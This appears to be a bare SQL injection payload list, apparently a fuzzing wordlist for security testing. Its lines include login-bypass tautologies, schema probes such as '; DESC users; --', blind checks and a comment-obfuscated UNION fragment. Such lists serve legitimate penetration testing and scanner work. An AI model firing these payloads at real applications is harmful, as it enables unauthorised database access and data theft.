test

1' OR '1'='1

1' AND non_existant_table = '1

1'1

'; DESC users; --

1 AND 1=1

1' AND 1=(SELECT COUNT(*) FROM tablenames); --

1'1

1 OR 1=1

1'1

1 AND USER_NAME() = 'dbo'

1 EXEC XP_

1'1

1 UNI/**/ON SELECT ALL FROM WHERE

' OR username IS NOT NULL OR username = '